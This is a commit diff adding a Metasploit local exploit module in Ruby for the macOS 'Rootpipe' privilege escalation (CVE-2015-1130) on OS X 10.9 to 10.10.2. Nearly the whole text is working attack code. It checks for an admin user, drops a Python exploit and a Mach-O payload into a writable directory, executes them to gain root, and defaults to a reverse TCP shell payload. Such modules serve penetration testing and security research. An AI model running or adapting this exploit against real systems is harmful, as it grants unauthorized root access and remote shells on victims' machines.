|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit4 < Msf::Exploit::Local |
| 9 | + |
| 10 | + Rank = GreatRanking |
| 11 | + |
| 12 | + include Msf::Post::OSX::System |
| 13 | + include Msf::Exploit::EXE |
| 14 | + include Msf::Exploit::FileDropper |
| 15 | + |
| 16 | + def initialize(info = {}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => 'Mac OS X "Rootpipe" Privilege Escalation', |
| 19 | + 'Description' => %q{ |
| 20 | + This module exploits a hidden backdoor API in Apple's Admin framework on |
| 21 | + Mac OS X to escalate privileges to root. Dubbed "Rootpipe." |
| 22 | +
|
| 23 | + Tested on Yosemite 10.10.2 and should work on previous versions. |
| 24 | +
|
| 25 | + The patch for this issue was not backported to older releases. |
| 26 | +
|
| 27 | + Note: you must run this exploit as an admin user to escalate to root. |
| 28 | + }, |
| 29 | + 'Author' => [ |
| 30 | + 'Emil Kvarnhammar', # Vulnerability discovery and PoC |
| 31 | + 'joev', # Copy/paste monkey |
| 32 | + 'wvu' # Meta copy/paste monkey |
| 33 | + ], |
| 34 | + 'References' => [ |
| 35 | + ['CVE', '2015-1130'], |
| 36 | + ['OSVDB', '114114'], |
| 37 | + ['EDB', '36692'], |
| 38 | + ['URL', 'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/'] |
| 39 | + ], |
| 40 | + 'DisclosureDate' => 'Apr 9 2015', |
| 41 | + 'License' => MSF_LICENSE, |
| 42 | + 'Platform' => 'osx', |
| 43 | + 'Arch' => ARCH_X86_64, |
| 44 | + 'SessionTypes' => ['shell'], |
| 45 | + 'Targets' => [ |
| 46 | + ['Mac OS X 10.9-10.10.2', {}] |
| 47 | + ], |
| 48 | + 'DefaultTarget' => 0, |
| 49 | + 'DefaultOptions' => { |
| 50 | + 'PAYLOAD' => 'osx/x64/shell_reverse_tcp', |
| 51 | + 'CMD' => '/bin/zsh' |
| 52 | + } |
| 53 | + )) |
| 54 | + |
| 55 | + register_options([ |
| 56 | + OptString.new('PYTHON', [true, 'Python executable', '/usr/bin/python']), |
| 57 | + OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) |
| 58 | + ]) |
| 59 | + end |
| 60 | + |
| 61 | + def check |
| 62 | + (ver? && admin?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe |
| 63 | + end |
| 64 | + |
| 65 | + def exploit |
| 66 | + print_status("Writing exploit to `#{exploit_file}'") |
| 67 | + write_file(exploit_file, python_exploit) |
| 68 | + register_file_for_cleanup(exploit_file) |
| 69 | + |
| 70 | + print_status("Writing payload to `#{payload_file}'") |
| 71 | + write_file(payload_file, binary_payload) |
| 72 | + register_file_for_cleanup(payload_file) |
| 73 | + |
| 74 | + print_status('Executing exploit...') |
| 75 | + cmd_exec(sploit) |
| 76 | + print_status('Executing payload...') |
| 77 | + cmd_exec(payload_file) |
| 78 | + end |
| 79 | + |
| 80 | + def ver? |
| 81 | + Gem::Version.new(get_sysinfo['ProductVersion']).between?( |
| 82 | + Gem::Version.new('10.9'), Gem::Version.new('10.10.2') |
| 83 | + ) |
| 84 | + end |
| 85 | + |
| 86 | + def admin? |
| 87 | + cmd_exec('groups | grep -wq admin && echo true') == 'true' |
| 88 | + end |
| 89 | + |
| 90 | + def sploit |
| 91 | + "#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}" |
| 92 | + end |
| 93 | + |
| 94 | + def python_exploit |
| 95 | + File.read(File.join( |
| 96 | + Msf::Config.data_directory, 'exploits', 'CVE-2015-1130', 'exploit.py' |
| 97 | + )) |
| 98 | + end |
| 99 | + |
| 100 | + def binary_payload |
| 101 | + Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) |
| 102 | + end |
| 103 | + |
| 104 | + def exploit_file |
| 105 | + @exploit_file ||= |
| 106 | + "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}" |
| 107 | + end |
| 108 | + |
| 109 | + def payload_file |
| 110 | + @payload_file ||= |
| 111 | + "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}" |
| 112 | + end |
| 113 | + |
| 114 | +end |
0 commit comments